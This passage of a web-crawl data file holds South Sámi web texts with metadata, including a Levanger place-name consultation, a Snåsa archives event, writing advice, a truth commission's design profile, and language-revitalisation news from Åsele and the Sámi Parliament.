barkh, jïh maam datne sïjhth mubpiejgujmie juekedh daennie nedtesæjrosne. Mijjieh veeljeme nöörjen teekstem meatan vaeltedh, guktie almetjh mah eah saemien soptsesth aelhkebelaakan maehtieh bïevnesi bïjre bievnedh jïh dejtie guhkiebasse åehpiedehtedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/staging.aldringoghelse.no\/demens\/samisk\/%C3%A5arjelsaemien\/","date":"2020-05-30T18:00:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347410284.51\/warc\/CC-MAIN-20200530165307-20200530195307-00592.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":104,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Suehpeden 4. biejjien Lïevengen tjïelte lea ræhpas govlehtimmieprieviem tjaaleme jïh dan prievien nomme «Sørsamisk navn på Levanger kommune». Lïevengen tjïelten kultuvreåvtehke, Guri Marjane Sivertsen lea daam govlehtimmieprieviem tjaaleme. Govlehtimmieprievesne dïhte tjaala:\nVoerhtjen 22. biejjien gïehtelimmiemoenehtse Lïevengen tjïeltesne saakine «PS 12\/20 Sørsamisk navn på Levanger kommune«, daam mieriedimmiem nænnoesti:\n«Mijjieh raeriem dåarjobe offisielle åarjelsaemien nomme Lïevengasse nænnoestidh. Daate saake govlehtæmman bïejebe jïh govlehtimmien minngemes biejjie lea ruffen 1. biejjien 2020.»\nLïevengen tjïelte aaj lea notaatem tjaaleme juktie dah leah ovmessie raerieh åådtjeme magkeres nomme «Levanger kommune» edtja åadtjodh. Govlehtimmien minngemes biejjie lea ruffen 1. biejjien. Ruffien 17. biejjien saake «PS 12\/20 Sørsamisk navn på Levanger kommune» gïehtelimmiemoenehtsasse jåhta. Ruffien 24. biejjien saake tjïelteståvrose jåhta.\nDaate govlehtimmie lea ræhpas jïh gaakhesh dovnesh maehtieh dej mïelide juekedh jïh burredh. Sivertsen lea notaatem tjaaleme gusnie tjåådtje magkerh raerieh Lïevengen tjïelte lea åådtjeme. Notaatesne Sivertsen tjaala:\nDaennie prievesne ovmessie raerieh nommi bïjre mejtie libie faagefaagebyjresidie Noerhte universiteetesne jïh UIT:sne åådtjeme govlehtimmien åvtelen.\nOvmessie nommh mah leah provhkeme jallh maehtieh aktuelle årrodh:\n- Lievenge\/Lïevenge: Lievenge lea sïejhmemes vuekiem, mohte kaanne ij reaktoe vuekie gaaltijen gaavhtan jaepeste 1925 (Lagercrantz etter Nuhrsfjell). Vuekie Gustav Hasselbrink:en baakoegærjeste båata.\n- Lïevege jïh Lievege: Daejtie vuekieh eah leah daenbien provhkeme. Mohte daah vuekieh leah faagealmetji gaskem digkiedamme juktie daah vuekieh buerebe tjoejesysteemine åarjelsaemiengïelesne goh Lievenge\/Lïevenge.\n- Leavangke\/Leevangke: Daah leah Noerhte universiteeten nehtesæjrosne provhkeme. Vuekieh mah -Le jallh -Lee utnieh goh voestes tjaalesthtjomhpe ij gåeredh åarjelsaemien tjaelemegïelesne. Juktie daah vuekieh eah maehtieh oktegh trykkfot:sne åarjelsaemiengïelesne tjåadtjodh\n- Lievangke: Daate vuekie lea kaanne jienebe reaktoe gaaltijen gaavhtan jaepeste 1925 (Lagercrantz etter Nuhrsfjell). Daate vuekie aaj buerie åarjelsaemien tjoejesysteemese jïh sojjehtimmiesysteemese sjïehtedamme. Gïeledotkije UIT:sne lea jeahteme ihke Lievangke kaanne båarasommes nomme åarjelsaemiengïelesne.\nDaate tabelle tjïelten notaatesne tjåådtje jïh vuesehte ovmessie alternatijvh nommide tjaeledh:\nMujhtieh daate govlehtimmieprievie lea ræhpas jïh gaajheksh dovnesh maehtieh dej mïelide juekedh jïh burredh. Govlehtimmien minngemes biejjie lea ruffen 1. biejjien 2020.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/magkeres-nomme-datne-sijhth-levanger-kommune-edtja-utnedh-tjielte-lea-raehpas-govlehtimmieprieviem-tjaaleme\/","date":"2020-06-02T23:53:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00480.warc.gz","language":"sma","language_score":0.9999542236,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999542236328125}","num_words":294,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelem nastedh gïjreiehkiedasse böörede gaskevåhkoen suehpeden 15. b. ts. 16.00 -19.30 Snåsa hotellesne. Mijjieh bissemebearkoem gåassoehtibie Eldhusesne åvtelen guessieh åadtjoeh govledh:\nNils Johan Eira:\nSaemien våarhkoe, mijjen mojhtese\nMan åvteste vihkeles saemien våarhkoejgujmie? Guktie lea åarjelsaemien siebriedahkine gosse lea våarhkoej bïjre? Daennie håaloemisnie Eira sæjhta soptsestidh guktie edtja nuepide nuhtjedh materijellem vöörhkedh Saemien våarhkosne jïh saemien våarhkoeh nuhtjedh. Sæjhta aaj nuepie sjïdtedh båeries guvvieh vuejnedh jïh tjoejefijlh goltelidh åarjelsaemien dajvijste.\nEira prosjekten åvtehkinie barka prosjektese \"Digital access to Sámi heritage archives\" jïh vaarjelimmine saemien våarhkojste Nöörjesne. Eiran lea maasteregraade journalistihkesne aalkoealmetjeperspektijvine, Saemien Jïlleskuvlesne Guovdageaidnusne.\nHarald Lindbach:\nBuerkiestamme sjïdtedh -jïjtje buerkiestidh – aalkoealmetjh jïh unnebelåhkoeh våarhkosne\nAkte åehpiedehteme dejstie ovmessie boelhkijste aalkoealmetji jïh unnebelåhkoej gaavnedimmesne jïh sjïehtesjimmesne faamoenïeri våarhkojne. Dejstie voestes buerkiestimmijste goske årganisasjovnh jïh jïjtsh institusjovnh tseegkesovvin. Mah gaaltijesåarhth jïjtjereerieh, jïh man åvteste?\nLindbach lea historihkere, jïh daelie dåakteregraadetjaalegem galhkaminie Dokumentasjovnedaejriemisnie (Dokumentasjonsvitenskap) Universiteetesne Romsesne. Dïhte våarhkojne barkeme 1997 raejeste. Daan biejjien Våarhkoevierhkien dotkemeseksjovnesne (Arkivverkets forskningsseksjon) barka Staatevåarhkosne Romsesne. Aarebi ståvroelïhtsege aalkoealmetjefestivaalesne Riddu Riđđu jïh siebresne Landslaget for Lokal- og Privatarkiv. Gellie tjaalegh tjaaleme, joekoen ektiedamme saemien jïh kveenen histovrijasse, våarhkoeteorijese jïh våarhkoebievniemasse.\nNuhtjede dam iehkeden\nSnåsa Hotellesne Gaskevåhkoen suehpeden 15. b. ts. 16.00\nGïelem nastedh bissemebearkoem bovtsenbearkoste jïh prïhtjegem gåassohte.\nGåårvedidie vearelden mietie jïh båetieh buerie bïevsterinie!\nSeedtede maaje e-påastem diekie britt.sparrock @snasa.kommune.no jallh bievnieh dan varke gåarede, jïh minngemes suehpeden 13.b., goh sms diekie Britt tell. 948 44 401\nDellie daejrebe man jïjnjem beapmoem mijjieh edtjebe dongkedh.\nMijjieh gegkiestibie jeenjesh båetieh!\nBuerie båeteme!\nGïelem nastedh inviterer til vårkveld onsdag 15.mai kl. 16.00-19.30 på Snåsa hotell. Det serveres grillmat i Eldhuset før gjestene fra 18.00 får høre:\nNils Johan Eira:\nSaemien våarhkoe, monnen mojhtese – Samisk Arkiv, vår hukommelse\nHvorfor er det viktig med samiske arkiver? Hvilken situasjon er det sør-samiske samfunnet når det gjelder arkiver? I dette innlegget vil Eira fortelle hvordan benytte seg av mulighetene til å arkivere materiale hos Samisk arkiv og bruk av samiske arkiver. Det vil også bli mulighet å se gamle bilder og lydfiler fra sør-samiske områder.\nEira jobber som prosjektleder for «Digital access to Sámi hertiage archives» og med bevaring av samiske arkiver i Norge. Han har mastergrad i journalistikk med ett urfolksperspektiv, ved Samisk Høyskole i Kautokeino.\nHarald Lindbach:\nFra å bli beskrevet til å beskrive – urfolk og minoriteter i arkiv\nEn fremstilling av de ulike stadiene i urfolk og minoriteters møte med og inkorporering i makthavernes arkiver. Fra de første beskrivelser til oppstarten av organisasjonsliv og egen institusjondannelse. Hvilke kildetyper dominerer, og hvorfor?\nLindbach er historiker, i ferd med å avslutte en doktorgradsavhandling i Dokumentasjonvitenskap ved Universitet i Tromsø. Har arbeidet med arkiv siden 1997. Er i dag ansatt i Arkivverkets forskningsseksjon med arbeidssted ved Statsarkivet i Tromsø. Tidligere styremedlem i urfolksfestivalen Riddu Riđđu og Landslaget for Lokal- og Privatarkiv. Forfatter av en rekke artikler knyttet spesielt til samisk- og kvensk historie, arkivteori og arkivformidling.\nGrete Gunn Bergstrøm:\nPresentasjon av gamle samiske lydfiler fra sørsamisk område.\nDet er digitalisert rundt 50 lydfiler fra dette området som vil bli presentert, og det vil bli anledning til å lytte til lydfilene for alle som vil det.\nSett av kvelden å bli med på Snåsa Hotell\nOnsdag den 15.mai kl. 16.00\nGïelem nastedh spanderer grillbuffé (bovtsen bearkoe) og kaffe.\nTa med klær etter vær og godt humør!\nSend gjerne en email til email@example.com eller gi beskjed så fort som mulig senest den 13. mai på sms til Britt på tlf. 948 44 401\nSå vet vi hvor mye mat vi skal bestille.\nVi håper på stor oppslutning!\nBuerie båateme!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/gielemnastedh.no\/2019\/05\/gijreiehkede-beapmoe-jih-buerkiestimmieh\/","date":"2020-05-30T21:06:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347410352.47\/warc\/CC-MAIN-20200530200643-20200530230643-00056.warc.gz","language":"sma","language_score":0.9278208613,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9278208613395691, \"sme_Latn_score\": 0.0508008748292923, \"nob_Latn_score\": 0.019929945468902588}","num_words":565,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.958,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkije-tjaalege lea persovneles tjaalege gusnie luhpiem åtnah subjektijveles årrodh, jïh aatide ånnetji gïeregen nïlle bïejedh. Aaj vihkeles lohkijen ïedtjem gåaskodh. Dan åvteste byörh dah nuepieh nuhtjedh mejtie gïele vadta, dovne leajhtadimmiem vitnedh jïh domtesh eadtjalgehtedh jïh gåaskodh.\nStandard-gïele jallh smaare-gïele?\nDatne maahtah aktem iemie jïh byjjes reaktoe standard-gïelem veeljedh, jallh maahtah aktem vielie njaalmeldh vuekiem nuhtjedh. Mij bööremes sjeahta lea jearohke teemeste maam bæjjese vaaltah, jïh mejtie lohkijidie datne tjaalah.\nMan persovneles edtjh årrodh?\nMåjhtelh mah såarhts pronovmenem edtjh nuhtjedh: edtjh datne-hammoem nuhtjedh jïh ryöktesth lohkijasse tjaeledh, edtjh mijjieh-hammoem nuhtjedh, jallh edtjh saakeleslaakan jïh sïejhmelaakan tjaeledh jïh veeljedh dïhte jallh dah?\nNuhtjh plusse-baakoeh jïh mijnuse-baakoeh\nPlusse-baakoeh jïh mijnuse-baakoeh leah dej vihkielommes gïeleviehkie-dïrregi gaskem aamhtese-tjaalegisnie. Nuhtjh dejtie, men aellieh fer jïjnjh. Lohkije maahta dov tjaalegistie vïssjehtovvedh jïh leajhtadimmiem dutnjien dassedh.\nLustesvoete jïh ironije\nLustesvoete lea jeenjemasth akte joekoen hijven okse-rïhpestæjja, jïh sjeahta dovne gosse almetjh leah sïemes jallh ovsïemes datnine. Ironije jïh sarkasme gujht bööremes sjeahta dejtie mah leah sïemes datnine aarebistie.\nViertiestimmieh, gïeleldh guvvieh jïh stååkedimmie baakoejgujmie\nJis datne leah væjkele sjiehteles viertiestimmieh gaavnedh jïh baakoejgujmie stååkedidh, byörh dam darjodh gosse lohkije-tjaalegh tjaalah! Gosse man akt bïjre tjaalah mejnie lohkijh leah åehpies aarebistie, maahtah lohkijidie jaehkiehtidh aamhtesem aktede orre bieleste vuejnedh.\nRetorihkeles gyhtjelassh\nRetorihkeles gyhtjelassh gåhtjobe maaje gyhtjelassh gusnie vaestiedasse lea eevre tjïelke. Dagkerh gyhtjelassh hijvenlaakan tjaalegisnie sjiehtieh dan åvteste dïhte tjïerteste tjaelije jïh lohkije leah sïemes, jïh dan åvteste dah eadtjalgehtieh.\nNuhtjh væhtah!\nMaahtah gujht jienebh kolonh, tjåarvome-væhtah jïh gihtjeme-væhtah nuhtjedh goh sïejhmelaakan darjoeh. Væhta-bïejeme edtja vuesiehtidh dov lea ïedtje aamhtesasse. Aellieh fer jïjnjh nuhtjh – jis fer jïjnjh juekeme-væhtah sjædta mah \"lohkijasse\" tjåarvoeh, dellie vïssjehtåvva. Mujhtieh, nuhtjh væhtide reaktoelaakan. Punktume raajesi minngesne, gihtjeme-væhtah gyhtjelassi minngesne jïh tjåarvome-væhtah gusnie datne \"gïelem bijjedh\".\nBaakoeh\nSaemien\nDaaroen\ngïeregen nïlle bïejedh\nsette noe på spissen\nleajhtadimmie\ntiltro\nokse-rïhpestæjja\ndøråpning\ntjåarvome-væhta\nutropstegn\nAamhtese-tjaaleghKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nKååserijeKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173193","date":"2020-07-07T09:38:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655891884.11\/warc\/CC-MAIN-20200707080206-20200707110206-00540.warc.gz","language":"sma","language_score":0.999980092,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999980092048645}","num_words":322,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Visuelle profijle\nSaetniesvoete- jïh liktemekommisjovne galka meadtide saemiej, kveeneladtji jïh daaroen-soemeladtji vööste goerehtalledh. Daej åålmegi gaskem lea nænnoes duedtie-jïh vætnoeaerpie. Logo lea skraejriem veedtjeme snijremistie mij lea saemiej jïh kveeneladtji vætnojne jïh duedtine åtneme. Daate möönstere gååvnese dovne lijnine, snijremisnie, åarjelsaemien tjaalehtjimmine, kveenegaarvoej haamojne, duedtine-jïh vætnojne mah biessijste jïh gurriemistie vuesiehtæmman Porsáŋgo-vaanhtsesne. Komisjovnen visuelle profijle lea dellie skraejriem veedtjeme duedtie\/-vætnoe-vuekijste åarjede- noerhtese.\nDesign-beahketjh:\nSnijreme -mönstere guvvede åålmegi ektievoetem. Mönsteren sïevh leah almetjh mah gelkieh liktedh. Daah leah aktese baerkieldovveme, seamma sahth gubpede båata jïh gosse govlesåvva.\nLogo:\nKommisjovnen logo lea veedtjesovveme snijremen minngie-bieleste. Soejvenh snijremistie jïh mönsteren klodtjh guvviedieh dejtie soptsesidie mah gelkieh vihth vååjnesasse jïh govledæjjese båetedh. Fïerhten almetjen soptsese jïh histovrijen vïhnesjimmie lea kommisjovnen barkoen våaroeminie.\nKlaerieh:\nÅejvieklaerieh leah eatnamistie veedtjesovveme, mij lea daerpies saemide, kveeneladtjide jïh daaroen-soemeladtjide orreme. Sjædtoeklaerieh leah skraejrine orreme jïh kommisjovnen klaerie lea tjaaneste veedtjesovveme. Tjaana fiolehte-klaeriem vadta gosse vuesiehtæmman galka ållojde dejnie klaeriedidh. Fiolehte lea dïhte bueriedimmien klaerie jïh soptseste mij dïhte båetiemisnie. Dah kraevies jïh veelkes klaerieh leah skraejriem histovrijen guvvijste jïh daaroedehteme-baelijste gaavneme.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/uit.no\/kommisjonen\/visuellprofil_%C3%A5s","date":"2020-07-06T13:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655880616.1\/warc\/CC-MAIN-20200706104839-20200706134839-00441.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":172,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ovttas|Aktan|Aktesne bïjre\nGaskeviermiesijjie Ovttas|Aktan|Aktesne lea saemien learoevierhtiedïenesje. Nedtesijjesne bïevnesh saemien learoevierhtiej bïjre gaavnh jïh dejtie maahtah nedten tjïrrh, Saemiedigkien learoevierhtiejarngeste löönedh.\nDaesnie aaj juekemeareena gååvnese, gusnie utnijh maehtieh jïjtsh learoevierhtieh bæjhkoehtidh jïh vuartasjidh maam jeatjah joekedamme.\nNedtesijjien aaj digitaale viehkiedïrrege guktie aelkebe sjïdtedh saemien learoevierhtieh darjodh. Gaajhke leah åesehts. Govlehtallh redaksjovnine jis jeenjebh bïevnesh daarpesjh.\nDette er personvernerklæringen for ovttas|aktan|aktesne.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ovttas.no\/sma\/about","date":"2020-07-16T16:59:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657172545.84\/warc\/CC-MAIN-20200716153247-20200716183247-00036.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":60,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gihtjehtimmie: Jan Skoglund Paltto – Åarjelsaemien: Ellen Bull Jonasse\n– Joekoen jearsoes munnjien domtoe dah mah båarasåbpoe jïh raaktan daajroem utnieh, sijjen gïelemaahtoem mijjine juekieh naemhtie guktie darjoeh. Dan barkoen gaavhtan mijjieh noerh jïjnjem viehkiem gïeline åadtjobe. Akte joekoen stoerre aavoe mijjen leah almetjh dan stoerre vierhtiejgujmie. Daate mijjese stoerre skraejriem vadta åarjelsaemien gïeline barkedh, dorjehtæjja Marja Læjsa Thomasson jeahta.\nSkraejriem åådtje\nMijjieh Tjaktjen Tjåanghkosne jïh doh båarasåbpoe desnie Sverre Fjellheim, Inga Persson Mortensson, Jonhild Joma, Evald Stenfjell jïh Jonar Thomasson leah aadtjen earoem åådtjeme sijjen barkoen åvteste. Dagkerh almetjh mijjese skraejriem vedtieh gïelem bååstede vaeltedh,\n–Scenesne saemien nuhtjem dan hijven goh maahtam. Dejnie teaterestuhtjine mejnie manne leam meatan orreme, desnie ånnetji pleenteme, juktie jieniebidie vuartasjæjjide jaksedh. Gaatesjen dellie gujht jeenjesh mah eah gïelem maehtieh jalhts leah saemieh. Men joekoen vihkeles gïele scenesne åtnasåvva jïh vihkeles gïele aaj aarkebiejjien åtnasåvva.\nSaemien scenesne\nMarja Læjsa Thomasson lea dorjehtæjja-ööhpehtimmiem vaalteme. Scenesne dan lea manuse maam fulkie jïh replihkh leah tjaalasovveme almetjijstie mah gïelem maehtieh. Dihte jearsoes domtoe satne gaajhkem reaktoelaakan jeahta. Aarkebiejjien vïerrebe sjædta. Dellie jïjtje edtja gaajhkem stuvredh.\n– Manne gujht vielie guarkam goh soptsestem jïh mov ulmie lea væjkalåbpoe sjïdtedh åarjelsaemien soptsestidh aarkebiejjien aaj. Manne gïelestipenden bïjre syökeme jïh gïelementovrem åådtjeme. Dejnie edtjem ajve saemiestidh. Mijjieh almetjh darjobe dam mejnie libie vaane. Gosse vaane daaroestidh dellie numhtie sjædta dan åvteste mijjieh vaane dejnie. Daam möönsterem sïjhtem tsööpkedh.\nSæjhta Shakespearem saemiengïelesne lohkedh\nJalhts åarjelsaemien saernieh, podcasth jïh såemies tjoejebaantedimmieh gååvnesieh daanbien, dellie gujht Thomasson lij sïjhteme vielie gååvnese. Gaajhke mij lea tjaalasovveme jïh lohkesovveme saemiengïelesne lijsie.\n– Mijjieh vielie daarpesjibie. Goh jienebh filmh, vielie åarjelsaemien raadijoveprogrammh jïh enn jienebh podcasth. Manne gujht tjoejegærjah smaave maanide lohkem, men lim sïjhteme mijjen lij akte romaane goh åarjelsaemien tjoejegærja. Manne lim maaje sïjhteme vielie dramatihkem åarjelsaemien gïelesne. Manne lim sïjhteme Shakespearem, dikth jïh dejtie stoerre lidteratuvrevierhkieh åarjelsaemien gïelesne lohkedh. Mov stoerre åvteguvvieh leah Jonar Thomasson mij gïelebaalhkam åadtjoeji daesnie jïh seasa Unni Steinfjell mij jarkoestimmiejgujmie barka. Gellie væjkele almetjh jïh jeenjesh mah lin maahteme dam laavenjassem vaeltedh, amma dejtie stoerre vierhkide jarkoestidh.\nTjuavkeds båetije aejkie\nGellie terminologijh, vuesiehtimmien gaavhtan båatsoen sisnjelen, eah daaroengïelesne gååvnesh jïh mejtie vihkeles utniehtidh. Marja Læjsa ij sïjhth daate edtja gaarvanidh. Dan åvteste jïjtsasse ulmiem bïejeme mubpie boelve edtja gïelem lïeredh.\n– Manne vïenhtem saemien sæjhta jåerhkedh jieledh båetijen aejkien. Sïjhtem mov maanide saemien lïeredh jalhts geerve sjædta. Nïekedasse lij orreme jis saemien lea voestesgïeline sjïdteme. Gosse saemien govlem dellie domtoe goh abpe kråahpe dan baahkes sjædta. Damtem manne gåetesne jïh dan jïjnjem faamoem åadtjoem. Stoerre sådtoe gosse im maehtieh dan jïjnjem saemiestidh, men daelie tjoerem jïjtje dïedtem vaeltedh mov vaajmoegïelen åvteste. Daate mov stoerre soejkesje, jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/gosse-datne-jijtje-gielebarkoem-stuvrh\/","date":"2020-07-08T11:14:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655896932.38\/warc\/CC-MAIN-20200708093606-20200708123606-00108.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":432,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan asken maanajskuvlelearohkh Plassjesne mejtie gaahtjemem Sommerles meatan årroeh, leah 288 000 sæjroeh lohkeme. Daate jienebe goh evtebe giesien.\n-Mijjen lea statistihke man gellie sæjroeh fïerhten learohkh leah lohkeme, jïh daelie maanajskuvlelearohkh Plassjesne leah 288 000 sæjroeh lohkeme. Daan jaepien 253 learohkh gaahtjemem meatan årroeh jïh 30 learohkh mejtie eah aalkeme lohkedh, mohte göökte askh aajmene, gærjagåetieåvtehke Ellen Vibeke Solli Nygjelten jeahta.\nDïhte jeahta daan jaepien gellebe learohkh mejtie gaahtjemem Sommerles meatan årroeh.\n-Daan jaepien gaahtjemisnie mijjen lea 79% jienebe learohkh jïh 19% jienebe gærjah mejtie learohkh leah lohkeme. Daan jaepien mijjieh joekoen tjetskehke orreme koronavijrusen gaavhtan, jïh tjoerimh onnetje jeatjhlaakan barkedh. Provhkebe «kickoff» utnedh gusnie tjaelije daennie dajvesne fealede jïh Sommerles:en bïjre sopteste, mohte daan jaepien idtji gåeredh daam darjodh. Dannasinie digitaale versjovnem skuvlide dorjeme, dïhte jeahta.\nLearohkh Sommerles:sne ovmessie digitale vadtesh vitnieh mejtie gærjagåeteste veedtjieh. Learohkh maehtieh ovmessie vaadtesidie veeljedh. Dah åadtjoeh govledh gåessie dah leah nuekies XP tjöönghkeme jïh dellie maethieh vaadtesem veedtjedh, bibliotekaare Mari Snortheim jeahta.\nSommerles lea bibliotekaari lohkemekampanje maanajskuvlelearohkidie giesie-eejehtallemisnie. Solli Nygjelten jeahta maanah mejtie gærjide giesie-eejehtallemisnie luhkieh, væjkelåbpoe sjidtieh aaj skuvlesne lohkedh. Lohkehtæjjah vihtesjieh magkerh learohkh mejtie lohkemegaahtjemem meatan orreme, Solli Nygjelten minngemosth jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/author\/jenny\/","date":"2020-07-03T20:42:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00436.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":183,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saepmie\nSjeltien saemien reereme tjïelte. Sjeltie lea båeries saemien sijjie. Dejbeeli lij gærhkoe- jïh maarhnasijjie saemide, dan gaavhtan dan nomme Sjeltie. Sjeltien tjïelte-vaeknesne bovtse jïh Sjeltien tjïelten logotypesne tjåervie, saemien lïhkesvoete tjïelke vååjnoe.\nÅsele samiska förvaltningskommun. Åsele är en gammal samisk plats. Förr i tiden var det en kyrk- och marknadsplats för samer, därav namnet Sjeltie. På Åseles kommunvapen ses en ren och i Åsele kommuns logotyp syns renhorn, så den samiska kopplingen är tydlig.\nÅarjelsaemien gïelesne\nSjeltien tjïelte lea Vualtjeren noerhte jïh åarjel sïjti gåatome-dajvesne. Daelie Sjeltie aaj saemien reeremetjïelte 2018 raejeste.\nSaemien reeremetjïeltesne gaskem jeatjah aajnealmetjen reakta saemiestidh tjaaleldh jïh njaalmeldh gosse byjjesfaamojne gaskesadtedh. Aajnealmetjen aaj reakta voeresehoksem jïh aarhskuvlem åadtjoeh abpe jallh biehkine saemiengïelesne. Sjeltien tjïelte barkeminie voejhkele daerpiesvoeth dåarjedidh.\nSjeltien saemien reereme tjïelte barkeminie laakem nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre implementeeridh. LoNM 2009:724.\nGïeleskreejreme, jeananamme saemieh våajnoes darjodh jïh jienebh faaleldahkh saemien gïele- jïh kultuvredarjoemidie leah naakenh barkoelaavenjassh.\nBuerie båeteme mijjem gaskesadth jis dov gyhtjelassh jallh åssjelh unnebelåhkoe-reformen bïjre.\nElna Fjellström, saemien iktedæjja maahtah gaskesadtedh mobijline: 0722 434 828 jallh e-påastine: firstname.lastname@example.org\nMaahtah aaj guessine vuelkedh sov gåajkoe Kulturhuset'sne båetedh.\nDaaroen gïelesne\/ Svenska\nSjeltie tjïelte ligger inom Vilhelmina norra och Vilhelmina södra samebyars renbetesland. Nu är Sjeltie också en samisk förvaltningskommun sedan 2018.\nAtt vara en samisk förvaltningskommun innebär bland annat att enskilda har rätt att använda samiska vid muntliga och skriftliga kontakter med myndigheter. Enskilda har också rätt att få äldreomsorg och förskola helt eller väsentlig del på samiska. Sjeltien tjïeltie arbetar med att försöka tillgodose behoven.\nÅsele samiska förvaltningskommun arbetar med att implementera lagen om nationella minoriteter och minoritetsspråk. LoNM 2009:724.\nSpråkrevitalisering, ökat samisk synliggörande och ökat utbud av samiska språk-och kulturaktiviteter är några av arbetsuppgifterna.\nDu är välkommen att ta kontakt om du har frågor eller idéer angående minoritetsreformen.\nElna Fjellström, samisk koordinator når du via mobil: 0722 434 828 eller e-post: email@example.com\nDu kan också besöka henne på Kulturhuset.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/asele.azurewebsites.net\/saepmie\/","date":"2020-08-14T00:06:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739104.67\/warc\/CC-MAIN-20200813220643-20200814010643-00250.warc.gz","language":"sma","language_score":0.9849678278,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 0.984967827796936}","num_words":307,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie tjåanghkan 600 000 kråvnah dåarjojne vadta göökte åarjelsaemien gïeleprosjektide.\nPraahken skuvle\/Brekken skole Rørosesne 300 000 kråvnah dåarjojne åådtje juktie saemiengïeleldh areenah tseegkedh jïh guhkiebasse evtiedidh, jïh gusnie saemien eadtjohkelaakan åtnasuvvieh. Dah edtjieh dam darjodh viehkine golme saemien gïele- jih kultuvregaavnedimmieh tjïrrehtidh fïerhten skuvlejaepien learoehkidie mah ektiedimmiem røros-saemien dajvese utnieh.\nGaavnedimmine njaalmeldh jïh praktihkeles darjomh jarngesne utnieh, gusnie learohkh jïh 